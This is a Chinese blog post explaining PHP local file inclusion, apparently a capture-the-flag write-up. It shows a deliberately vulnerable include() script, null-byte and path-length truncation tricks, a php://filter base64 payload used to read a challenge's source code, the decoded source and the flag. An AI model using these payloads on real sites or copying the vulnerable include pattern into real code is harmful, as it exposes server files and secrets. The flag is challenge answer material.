欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

文件包含漏洞(绕过姿势)

程序员文章站 2022-04-30 10:37:29
...

1.1文件包含漏洞的形成

文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshell。

文件包含函数主要有以下四个:

他们之间的区别在于:include()和include_once()在包含文件时即使遇到错误,下面的代码也会继续执行,而require()和require_once()则会直接报错并退出程序。

1.2本地文件包含漏洞

本地文件包含(load file include)简称LFI
测试代码如下:

<?php
define("ROOT",dirname(_FILE_).'/');
$file=$_GET['file'];
echo ROOT.$file.'.php';
include(ROOT.$file.'.php');
?>

如果输入file=1,并在1.php中输入<?php phpinfo();?>,页面将会显示出php的版本信息。

1.3文件包含截断

文件包含中,如果我们不能写入以.php为扩展名的文件,常常需要进行截断

  • 方法一

因为php基于c语言,是以0字符进行结尾的,所以可以用\0或者%00进行截断

  • 方法二

因为有些时候%00截断会被GPC和addslashes等函数过滤掉,这是我们再用第一种方法就就没用了,而在目录字符串,在windows256字节,linux下4096字节时会达到最大值,最大值之后的字符将会被抛弃,这时就可以用多个(.)和(/)来截断

1.4 直接上题目

题目链接

文件包含漏洞(绕过姿势)

点击之后跳转到另一个界面
文件包含漏洞(绕过姿势)

此时

   http://4.chinalover.sinaapp.com/web7/index.php?file=show.php

我试着写了一段payload:

http://4.chinalover.sinaapp.com/web7/index.php?file=test123.php

http://4.chinalover.sinaapp.com/web7/index.php?file=index.php

完全没效果,哇,果然这一题不是这么简单,查看源码也没有啥有效信息,难受啊,实在没办法搜了答案,payload如下:

http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

convert.base64-encode对数据流进行加密
完全没看懂,没接触过filter,不知道是干嘛的,于是搜了一下:
文件包含漏洞(绕过姿势)

原来这一题还考了php://filter的绕过,首先过滤index.php这个数据流,然后通过base64加密读取文件代码,这样页面就显示了一段经过base64加密之后的字符串,如下图:

文件包含漏洞(绕过姿势)

PGh0bWw+CiAgICA8dGl0bGU+YXNkZjwvdGl0bGU+CiAgICAKPD9waHAKCWVycm9yX3JlcG9ydGluZygwKTsKCWlmKCEkX0dFVFtmaWxlXSl7ZWNobyAnPGEgaHJlZj0iLi9pbmRleC5waHA/ZmlsZT1zaG93LnBocCI+Y2xpY2sgbWU/IG5vPC9hPic7fQoJJGZpbGU9JF9HRVRbJ2ZpbGUnXTsKCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpewoJCWVjaG8gIk9oIG5vISI7CgkJZXhpdCgpOwoJfQoJaW5jbHVkZSgkZmlsZSk7IAovL2ZsYWc6bmN0ZntlZHVsY25pX2VsaWZfbGFjb2xfc2lfc2lodH0KCj8+CjwvaHRtbD4=

拿去经过base64解码之后,网页源代码出现了:

<html>
    <title>asdf</title>
    
<?php
	error_reporting(0);
	if(!$_GET[file]){echo '<a href="./index.php?file=show.php">click me? no</a>';}
	$file=$_GET['file'];
	if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
		echo "Oh no!";
		exit();
	}
	include($file); 
//flag:nctf{edulcni_elif_lacol_si_siht}

?>
</html>

flag:nctf{edulcni_elif_lacol_si_siht}